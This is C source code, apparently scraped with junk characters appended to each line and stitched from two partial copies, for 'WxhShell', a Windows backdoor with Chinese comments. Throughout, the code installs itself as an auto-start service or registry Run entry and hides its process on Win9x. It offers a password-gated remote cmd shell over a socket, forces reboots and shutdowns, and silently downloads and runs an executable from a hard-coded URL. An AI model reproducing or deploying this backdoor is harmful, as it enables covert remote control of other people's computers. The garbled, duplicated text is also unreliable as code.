    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?hIDyM  
    else { s`.J!^u`  
    closesocket(wsh); <dBz]W  
    ExitThread(0); >Kl_948  
    } aE"dpYQ  
    break; tO"AeZe%|  
    } +G7[(Wz(z  
  // 获取shell 7suT26C  
  case 's': { j-FMWEp  
    CmdShell(wsh); JPgFTr  
    closesocket(wsh); #E<~WpP  
    ExitThread(0); ;4v`FC>  
    break; ,,)'YhG(  
  } $I ,Np)i  
  // 退出 P(C5@x(Z  
  case 'x': { Jk{v (W#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i-dosY`81  
    CloseIt(wsh); uLI;_,/:  
    break; JZ-64OT  
    } G[OJ <px  
  // 离开 qk0cf~ gz  
  case 'q': { c@4$)68  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2t{Tz}g*  
    closesocket(wsh); XZ8]se"C  
    WSACleanup(); 6KN6SN$  
    exit(1); 20J-VN:  
    break; G1ruF8  
        } k<N5*k8M  
  } { W5 _KX  
  } R7FI{ A  
u-V( 2?  
  // 提示信息 _l,-S Qgj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f&] !;)  
} "uyr@u0b  
  } .=hVto[QC  
>29c[O"[  
  return; F^}d>2W(  
} L}g#h+GP[  
wW<u)|>ye  
// shell模块句柄 U2Ky4UFm  
int CmdShell(SOCKET sock) #}tdA( -  
{ wp:Zur5Y  
STARTUPINFO si; 65mfq&"P ?  
ZeroMemory(&si,sizeof(si)); ,k9.1kjO*)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i?mUQ'H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7 VYhRC-  
PROCESS_INFORMATION ProcessInfo; UvqnNA  
char cmdline[]="cmd"; 7c@5tCcC-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :kjs: 6f]  
  return 0; e\*(F3r  
} '?X?'_3  
>+:cTQ|q  
// 自身启动模式 ##1/{9ywy  
int StartFromService(void) MdTu722  
{ xz +;1JAL3  
typedef struct {q~N$"#  
{ tejpY  
  DWORD ExitStatus; 'Ir   
  DWORD PebBaseAddress; (4rHy*6  
  DWORD AffinityMask; L,,*8  
  DWORD BasePriority; rQpQ qBu  
  ULONG UniqueProcessId; f&$$*a  
  ULONG InheritedFromUniqueProcessId; -7 Kstc-  
}   PROCESS_BASIC_INFORMATION; P4E_<v[  
Pt6d5EIG  
PROCNTQSIP NtQueryInformationProcess; _,p/2m-Pj  
3 rLc\rK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N5xI;UV9'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }C~9 ?Y  
rvb@4-i>iI  
  HANDLE             hProcess; |H 5$VSw  
  PROCESS_BASIC_INFORMATION pbi; Z 2$S'}F  
MY(51)*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jt?`(H  
  if(NULL == hInst ) return 0; |Fq\%y#  
k#p6QA hS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IZd~Am3f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sLK$H|%>m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *WWDwY@!u  
JX{rum  
  if (!NtQueryInformationProcess) return 0; 0 r;tI"  
2 B_+5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }me`(zp  
  if(!hProcess) return 0; z`]:\j'O3"  
N Zwi3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ov.oyke4  
=~21.p  
  CloseHandle(hProcess); eX0 [C0#  
<LX-},?P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d%p{l)Hd  
if(hProcess==NULL) return 0; /<o?T{z<-  
FJW,G20L  
HMODULE hMod; #210 Yp#  
char procName[255]; KHeeB`V>J  
unsigned long cbNeeded; 7!6v4ZA  
y+Bxe )6^V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )cm^;(#pV  
o$}$Z&LK  
  CloseHandle(hProcess); zIU6bMMT3u  
A "'h0D  
if(strstr(procName,"services")) return 1; // 以服务启动 1IK*j +%  
F9q!Upr_+  
  return 0; // 注册表启动 u|Ng>lU  
} ~cfvL*~5  
\GGyz{i  
// 主模块 W!* P  
int StartWxhshell(LPSTR lpCmdLine) ;9vY5CxzC  
{ i3$pqNe  
  SOCKET wsl; @CC 6 `D  
BOOL val=TRUE; Y{X%C\  
  int port=0; _) UnHp_^  
  struct sockaddr_in door; j`MK\*qmz  
[Z!oVSCZD%  
  if(wscfg.ws_autoins) Install(); +9# qNkP  
"`* >co6r  
port=atoi(lpCmdLine); %e+*&Z',  
F$O$Y[  
if(port<=0) port=wscfg.ws_port; &NI\<C7_Gw  
[X@JH6U r  
  WSADATA data; DJ!pZUO{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pup%lO`.0  
=n8M'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6ywO L'OBM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mdcsL~R  
  door.sin_family = AF_INET; J{n A ?[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Z [0xs  
  door.sin_port = htons(port); !H6X%hlk  
bj?=\u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ++=jh6  
closesocket(wsl); FY/F}C,o  
return 1; &Cr4<V6-q  
} Z55C4F5v  
&=wvlI52`  
  if(listen(wsl,2) == INVALID_SOCKET) { }8`>n4  
closesocket(wsl); iY5V4Gbo  
return 1; <." @H<-`*  
} z<9Llew^e  
  Wxhshell(wsl); -NA2+].  
  WSACleanup(); -<(RYMk*)  
dl3}\o_  
return 0; ,!P}Y[|  
bb-u'"5^]  
} O! _d5r&,  
KNOVb=# f_  
// 以NT服务方式启动 .k|\xR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FRayB VHL  
{ cV4Y= &  
DWORD   status = 0; Fn{Pmo*rs  
  DWORD   specificError = 0xfffffff; lZ) qV!<  
U7-*]ik  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f#gV>.P;h\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g3(LDqB'.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^^*Ia'9   
  serviceStatus.dwWin32ExitCode     = 0; ZM [Z9/S8  
  serviceStatus.dwServiceSpecificExitCode = 0; ciFqj3JS  
  serviceStatus.dwCheckPoint       = 0; 0(o.[% Ye  
  serviceStatus.dwWaitHint       = 0; h]j>S  
SU jo%3R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (?"z!dgc  
  if (hServiceStatusHandle==0) return; B_XX)y%V  
6wZ)GLW[  
status = GetLastError(); =RQI5 nHdw  
  if (status!=NO_ERROR) $\PU Y8  
{ \(r$f!`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ; {v2s;  
    serviceStatus.dwCheckPoint       = 0;  #J  
    serviceStatus.dwWaitHint       = 0; 'UC1!Z  
    serviceStatus.dwWin32ExitCode     = status; %pf9Yd0t  
    serviceStatus.dwServiceSpecificExitCode = specificError;  Af`Tr6)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gq="&  
    return; o1uM(  
  } 6.6?Rp".  
eK}GBBdO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "w__AYHV  
  serviceStatus.dwCheckPoint       = 0; K'f2 S  
  serviceStatus.dwWaitHint       = 0; `Io#440;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h,,B"vPS  
} eL{$=Um  
aS~~*UHW  
// 处理NT服务事件,比如:启动、停止 [* @ +  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eDvh3Y<D  
{ `oM'H+  
switch(fdwControl)  "+Sq}WR  
{ _z9~\N/@[  
case SERVICE_CONTROL_STOP: FW{K[km^P  
  serviceStatus.dwWin32ExitCode = 0; '"'RC O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $KlaZ>D h  
  serviceStatus.dwCheckPoint   = 0;  {@k , e  
  serviceStatus.dwWaitHint     = 0; > }kZXeR|  
  { [8K :ml  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sf@xP.d  
  } dqO]2d  
  return; =r3g:j/>q  
case SERVICE_CONTROL_PAUSE: Oz)/KZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lr@w1*  
  break; VCvf'$4(X  
case SERVICE_CONTROL_CONTINUE: VmRfnH"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9mjJC  
  break; m7i(0jd +  
case SERVICE_CONTROL_INTERROGATE: g1(5QWb  
  break; ):y^g:  
}; V/zmbo)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *p9k> )'J  
} N7YCg  
B![:fiR`  
// 标准应用程序主函数 {SD%{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :[0)Uu{  
{ 9~jS_Y)"  
1qBE|PwBp  
// 获取操作系统版本 'pB?  
OsIsNt=GetOsVer(); JVr8O`>T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 14*6+~38m&  
=&(e*u_  
  // 从命令行安装 5".bM8o  
  if(strpbrk(lpCmdLine,"iI")) Install(); @.`k2lxGd~  
'(g;nU<  
  // 下载执行文件 m_,Jbf  
if(wscfg.ws_downexe) { cvhwd\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kp#XpcS  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nbv b_  
} J6"GHbsO  
.tQ(q=#  
if(!OsIsNt) { 4t3>`x 7  
// 如果时win9x,隐藏进程并且设置为注册表启动 s!>9od6^  
HideProc(); W=OryEV?  
StartWxhshell(lpCmdLine); +;M 5Sp  
} 0)ZLdF_6  
else sf:IA%.4t  
  if(StartFromService()) q?@*  
  // 以服务方式启动 %~,Fe7#p  
  StartServiceCtrlDispatcher(DispatchTable); R.vOYzo  
else y O,Jgn  
  // 普通方式启动 1}+b4 "7]  
  StartWxhshell(lpCmdLine); n$9Xj@  +  
23 #JmR  
return 0; t*H|*L#YR  
} -Q&@P3x  
S4-jFD)U  
t)rPXvx}!  
0WYu5|  
=========================================== '2|P-/jU  
Mc!LC .8  
(U_HX2f  
 yK$aVK"  
b#R$P]dr=  
pS}IU{#;  
" ~t ZB1+%)  
dnQ6Ras  
#include <stdio.h> sg49a9`8  
#include <string.h> leI ]zDk=  
#include <windows.h> %~8f0B|im  
#include <winsock2.h> S ?J(VJqE  
#include <winsvc.h> `"<hO 'WU  
#include <urlmon.h> lP*=4Jh  
`AvK=]  
#pragma comment (lib, "Ws2_32.lib") G6G-qqXy6  
#pragma comment (lib, "urlmon.lib") ]qu6/Z  
65*Hf3~~  
#define MAX_USER   100 // 最大客户端连接数 ?mSZQF:d@  
#define BUF_SOCK   200 // sock buffer NJVkn~<  
#define KEY_BUFF   255 // 输入 buffer Q w - z  
$R+gA{49%  
#define REBOOT     0   // 重启 # ,eC&X45  
#define SHUTDOWN   1   // 关机 z( }w|  
-;FAS3(wy  
#define DEF_PORT   5000 // 监听端口 p<}y'7(  
pU'>!<zGr  
#define REG_LEN     16   // 注册表键长度 Gf:dN_e6.  
#define SVC_LEN     80   // NT服务名长度 pl)?4[`LUc  
AO|1m$xf  
// 从dll定义API ^u1Nbo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U^%)BI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c~;VvYu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X.[bgvm~C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cMnN} '  
" a,4E{7  
// wxhshell配置信息 !$>b}w'  
struct WSCFG { 9!Jt}n?!g  
  int ws_port;         // 监听端口 PHY!yc-LjV  
  char ws_passstr[REG_LEN]; // 口令 DT)] [V^w  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8{ =ha  
  char ws_regname[REG_LEN]; // 注册表键名 ~(huUW  
  char ws_svcname[REG_LEN]; // 服务名 lSO$Q]!9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' i<4;=M&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'mTY56Yq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ym^~ Q|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MX7Ix{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \Q1&w2mw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q9{)nU  
!!)$?R;1  
}; ,4 _H{+M  
m<kJH<!j  
// default Wxhshell configuration V2M4g  
struct WSCFG wscfg={DEF_PORT, 1 A0BM  
    "xuhuanlingzhe", ~J> ;l s1  
    1, BHYguS^qz  
    "Wxhshell", .XiO92d9  
    "Wxhshell", %7w8M{I R3  
            "WxhShell Service", vw(ecs^C  
    "Wrsky Windows CmdShell Service", $p&eS_f  
    "Please Input Your Password: ", 3dLqlJ^7B  
  1, +`>E_+Mp  
  "http://www.wrsky.com/wxhshell.exe", (C"q-0?n  
  "Wxhshell.exe" Xw<;)m  
    }; &=$f\O1Ty  
GKSF(Tnj  
// 消息定义模块 KG9-ac  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _~ei1 G.R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O! XSU,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W*#5Sk  
char *msg_ws_ext="\n\rExit."; -C}"1|P!  
char *msg_ws_end="\n\rQuit."; ?A_+G 5  
char *msg_ws_boot="\n\rReboot..."; JX[]u<h?  
char *msg_ws_poff="\n\rShutdown..."; (xVx|:R[<H  
char *msg_ws_down="\n\rSave to "; <eS/-W %n6  
wVnmT94  
char *msg_ws_err="\n\rErr!"; $Cfp1#  
char *msg_ws_ok="\n\rOK!"; JMo r[*  
(w5cp!qW9J  
char ExeFile[MAX_PATH]; %N&W_.F6  
int nUser = 0; ?wCX:? g  
HANDLE handles[MAX_USER]; F ]Zg  
int OsIsNt; y Rl   
6 R})KIG  
SERVICE_STATUS       serviceStatus; U`HY eJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |9IOZ>H9  
l&e$:=;8  
// 函数声明 3oH/34jj  
int Install(void); q*` m%3{  
int Uninstall(void); qQG? k~r  
int DownloadFile(char *sURL, SOCKET wsh); ~u2f`67{  
int Boot(int flag); n*na6rV\k  
void HideProc(void); fDfph7[)  
int GetOsVer(void); HiU)q  
int Wxhshell(SOCKET wsl); ~9vK 6;0  
void TalkWithClient(void *cs); ujmIS~"  
int CmdShell(SOCKET sock); j|K;Yi  
int StartFromService(void); qm:C1#<p   
int StartWxhshell(LPSTR lpCmdLine); ~D4l64  
j 4=iHnE;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `67i1w`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {z0iWY2Xw  
Ng*-Bw)p]  
// 数据结构和表定义 LD5`9-  
SERVICE_TABLE_ENTRY DispatchTable[] = |m"Gr)Gm  
{ j3/6hE>  
{wscfg.ws_svcname, NTServiceMain}, REK):(i7P  
{NULL, NULL} :DNI\TmhJ  
}; hCr,6ncC  
/_{ZWLi(  
// 自我安装 \gPMYMd  
int Install(void) 2gZp O9  
{ <,n:w[+!`P  
  char svExeFile[MAX_PATH]; 4m91XD  
  HKEY key; ( B\ UZb  
  strcpy(svExeFile,ExeFile); <4vCx  
jK*d  
// 如果是win9x系统,修改注册表设为自启动 4OgH+<G  
if(!OsIsNt) { yF.Gz`yi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pvi2j&W84  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jI*@&3  
  RegCloseKey(key); wS#Uw_[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6fo" k+S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w(S~}'Sg*P  
  RegCloseKey(key); iCg%$h  
  return 0; e"eIQI|N  
    } E7? n'!=  
  } j<0 ;JAL  
} {2P18&=  
else { q mFbq<&  
 .nrbd#i-  
// 如果是NT以上系统,安装为系统服务 UWV%  y P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6LGl]jHf  
if (schSCManager!=0) !ae?EJm"  
{ ,&S0/j  
  SC_HANDLE schService = CreateService fK+E5~vQ  
  ( %,02i@Fc  
  schSCManager, `:V'E>B  
  wscfg.ws_svcname, :dULsl$Nz  
  wscfg.ws_svcdisp, 6?<lS.s  
  SERVICE_ALL_ACCESS, Y!_c/!Tx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $9Bzq_!  
  SERVICE_AUTO_START, i({\fb|0  
  SERVICE_ERROR_NORMAL, !'F1Ht  
  svExeFile, YF-E1`+?<  
  NULL, sfn^R+x4,9  
  NULL, \ Voly  
  NULL, 0q-lyVZ^X  
  NULL, 7>O`UT<t4@  
  NULL 8uLS7\,$z  
  ); o)@nnqa  
  if (schService!=0) kG!hqj  
  { 8_HBcZWs  
  CloseServiceHandle(schService); Nr2,m"R{  
  CloseServiceHandle(schSCManager); F9K0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +<F3}]]  
  strcat(svExeFile,wscfg.ws_svcname); PLs`Ci|`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tR'RB@kJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M`'DD-Q  
  RegCloseKey(key); 8Z9>h:c1  
  return 0; 'ZMh<M[  
    } f7Nmvla[q  
  } _%D7D~2r|  
  CloseServiceHandle(schSCManager); e8xq`:4Y  
} <%uEWb)  
} ?VE'!DW  
l_:P |  
return 1;  AkS16A  
} b:Zh|-  
c]#}#RJ`\  
// 自我卸载 1aRTvaGo  
int Uninstall(void) W& 0R/y7  
{ +O 7( >a  
  HKEY key; ;#v3C;  
>\? z,Nin  
if(!OsIsNt) { ZJ)Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Icg-rwa<Z  
  RegDeleteValue(key,wscfg.ws_regname); b,~pwbHf  
  RegCloseKey(key); ^t gjs$M|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -`\rDPGf  
  RegDeleteValue(key,wscfg.ws_regname); |*g#7 YL  
  RegCloseKey(key); Y3:HQ0w`|  
  return 0; W)Y`8&,  
  } aXVldt'  
} zytN leyc  
} \z!lw  
else { `IwZVz  
~//9Nz~;3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l%GArH`  
if (schSCManager!=0) ~$T>,^K y  
{ kGAgXtE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -%fj-Y7y  
  if (schService!=0) ]ASw%Lw)  
  { zMP6hn  
  if(DeleteService(schService)!=0) { W1"NKg~4  
  CloseServiceHandle(schService); ff.k1%wr^  
  CloseServiceHandle(schSCManager); HLV8_~gQPf  
  return 0; =Vs?=|r  
  } PA,aYg0f  
  CloseServiceHandle(schService); m-Jy 4f#  
  } +yfUB8Xw  
  CloseServiceHandle(schSCManager); UG`~RO  
} cK]n"6N[  
} >KrI}>!9r  
"0;WYw?  
return 1; LZ_VLW9w E  
} ,S`n?.&& 7  
5O]tkHYR  
// 从指定url下载文件 ?B ,<gen  
int DownloadFile(char *sURL, SOCKET wsh) SQK82 /  
{ 8ly)G  
  HRESULT hr; K(u pz n*a  
char seps[]= "/"; us|Hb  
char *token; *Ts$Hj[  
char *file; "QXnE^  
char myURL[MAX_PATH]; kK4 a;j.#  
char myFILE[MAX_PATH]; >Df; 1:U  
]m 3cm  
strcpy(myURL,sURL); +0%r@hTv&>  
  token=strtok(myURL,seps); 56s%Qlgx  
  while(token!=NULL) )JTQZ,f3]  
  { ZJ2 MbV.6  
    file=token; jnJ*e-AW  
  token=strtok(NULL,seps); (N&?Z]|yr  
  } v4|TQ8!wR  
$nmt&lm  
GetCurrentDirectory(MAX_PATH,myFILE); +jB;  
strcat(myFILE, "\\"); _w?!Mu  
strcat(myFILE, file); bv]SR_Tiq  
  send(wsh,myFILE,strlen(myFILE),0); nrev!h  
send(wsh,"...",3,0); ^ fC2o%3^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zKJQel5  
  if(hr==S_OK) <CO_JWD  
return 0; z-gMk@l  
else d6tv4Cf  
return 1; sNpA!!\PM  
6}R*7iM s  
} Qm3F=*)d  
ghB&wOm/  
// 系统电源模块 6ZHeAb]"  
int Boot(int flag) 3^wHL:u  
{ !6X6_ +}M  
  HANDLE hToken; P/ 6$TgQ  
  TOKEN_PRIVILEGES tkp; v?]a tb/h`  
F68e I%Y  
  if(OsIsNt) { [sH3REE1h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z~`X4Segw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dI%jR&.e;  
    tkp.PrivilegeCount = 1; ZPE-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; em,1Yn?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [5IbR9_  
if(flag==REBOOT) { Co(N8>1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wm-$l  
  return 0; %D#&RS  
} <v -YMk@  
else { y(g]:#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M.y!J  
  return 0; %"(HjanH  
} L%$ -?O|  
  } 7:LEf"vRZ  
  else { Hm>cKPZ)  
if(flag==REBOOT) { D%3$"4M7!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sk9Ejaf6>  
  return 0; (OES~G  
} [8Y7Q5Had  
else { |Y}YhUI&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r@r*|50  
  return 0; ^(+q 1O'  
} cOdRb=?9  
} b1#C,UWK  
rAHP5dx:  
return 1; p({@t=L3g  
}  G-1qxK  
?q4`&";{3  
// win9x进程隐藏模块 r3' DXP  
void HideProc(void) ?F]P=S:x  
{ Xux[  
|(W wh$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *V:U\G  
  if ( hKernel != NULL ) XZ.D<T"  
  { XZk%5t|t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "Ua-7Q&A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iT{4-j7|P4  
    FreeLibrary(hKernel); `. JW_F)1  
  } }a!|n4|`  
`T+>E0H(f  
return; ;rT/gwg!  
} ]8}2  
tx[;& ;  
// 获取操作系统版本 Eu&$Rq}  
int GetOsVer(void) )?radg  
{ +~G:z|k  
  OSVERSIONINFO winfo; JXkx!X_{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vjGJRk|XED  
  GetVersionEx(&winfo); =/a`X[9vI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b*S,8vE]  
  return 1; ,{:qbt  
  else eSObOG/  
  return 0; ^,=}'H]  
} ~28{BY  
[>GblL  
// 客户端句柄模块 ]aMDx>OE  
int Wxhshell(SOCKET wsl) Jgr;'U$  
{  Xp<O  
  SOCKET wsh; %KO8 i)n  
  struct sockaddr_in client; 5s^vC2$)  
  DWORD myID; Wx3DWY;  
r]xN&Ne5Q  
  while(nUser<MAX_USER) N9d^;6;i  
{ V+1c<LwT  
  int nSize=sizeof(client); r0k :RJP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x1wD`r  
  if(wsh==INVALID_SOCKET) return 1; H(n fHp.3  
S"Vr+x?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UGM:'xa<T  
if(handles[nUser]==0) 9=iMP~?xF  
  closesocket(wsh); Q`J U[nY  
else W?E01"p  
  nUser++; y=\&z&3$  
  } KQ9w>!N[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rC|nE=i  
]5 ]wyDj  
  return 0; AX+]Z$  
} _Fj\0S"  
AX{<d@z`j  
// 关闭 socket rT;l#<#VE  
void CloseIt(SOCKET wsh) Z-CA9&4Uh  
{ -6_<]  
closesocket(wsh); }vB{6E+h/w  
nUser--; W^[QEmyn  
ExitThread(0); }Tm+gJA  
} +K'YVB U}  
(L4C1h_]9  
// 客户端请求句柄 34)l3UI~  
void TalkWithClient(void *cs) })@xWU6!  
{ C<:wSS^@1  
0hkYexX73  
  SOCKET wsh=(SOCKET)cs; ) xV>Va8)  
  char pwd[SVC_LEN]; 9fbo  
  char cmd[KEY_BUFF]; n@kJ1ee'  
char chr[1]; h){#dU+&  
int i,j; `r=^{Y  
[W[awGf  
  while (nUser < MAX_USER) { aW|=|K  
|uFb(kL[U  
if(wscfg.ws_passstr) { l#ct;KZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g1F9IB42@<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nw*a?$S3  
  //ZeroMemory(pwd,KEY_BUFF); {s*1QBM$\Z  
      i=0; ~a7@O^q 4  
  while(i<SVC_LEN) { 4$2HO `@uN  
T^d<vH  
  // 设置超时  K\ pZ  
  fd_set FdRead; ?t\GHQ$$?  
  struct timeval TimeOut; 7w5l[a/  
  FD_ZERO(&FdRead); /P[u vO  
  FD_SET(wsh,&FdRead); +  rN#  
  TimeOut.tv_sec=8; \C;Yn6PK0  
  TimeOut.tv_usec=0; L*Ffic  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9(=+OQ6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z/5TYv)S  
*pS3xit~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %y>*9$<pXe  
  pwd=chr[0]; 'dQGb-<_<  
  if(chr[0]==0xd || chr[0]==0xa) { $i8oLSRV  
  pwd=0; It3@ Cd>  
  break; mDwuJf8}  
  } 8EiS\$O-  
  i++; P%[ { 'u  
    } VWXyN  
gQhYM7NP{5  
  // 如果是非法用户,关闭 socket C)qG<PW.!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 60|m3|0o  
} ^N ;TCn  
th"Aatmp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]B&jMj~y&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A #pH$s  
fE|"g'  
while(1) { g rQ,J  
Rdj3dg'<  
  ZeroMemory(cmd,KEY_BUFF); M!VW/vdywL  
<dS I"C<  
      // 自动支持客户端 telnet标准   %AT/g&M&1#  
  j=0; VD,g3B p  
  while(j<KEY_BUFF) { -yIx:*KI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n ]l3 )u  
  cmd[j]=chr[0]; ;L],i<F  
  if(chr[0]==0xa || chr[0]==0xd) { Y?oeP^V'u  
  cmd[j]=0; 2I=4l  
  break; )h(=X&(d  
  } KxJDAP  
  j++; |a0@4 :  
    } p4uObK,  
2B6y1"B  
  // 下载文件 >"zN`  
  if(strstr(cmd,"http://")) { 7|ACJv6%9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lYm00v6y  
  if(DownloadFile(cmd,wsh)) 0|\A5 eG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nGJ+.z  
  else U; #v-'Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oeg^%Y   
  } HR'F  
  else { 6_w~#86=  
UY\E uA9  
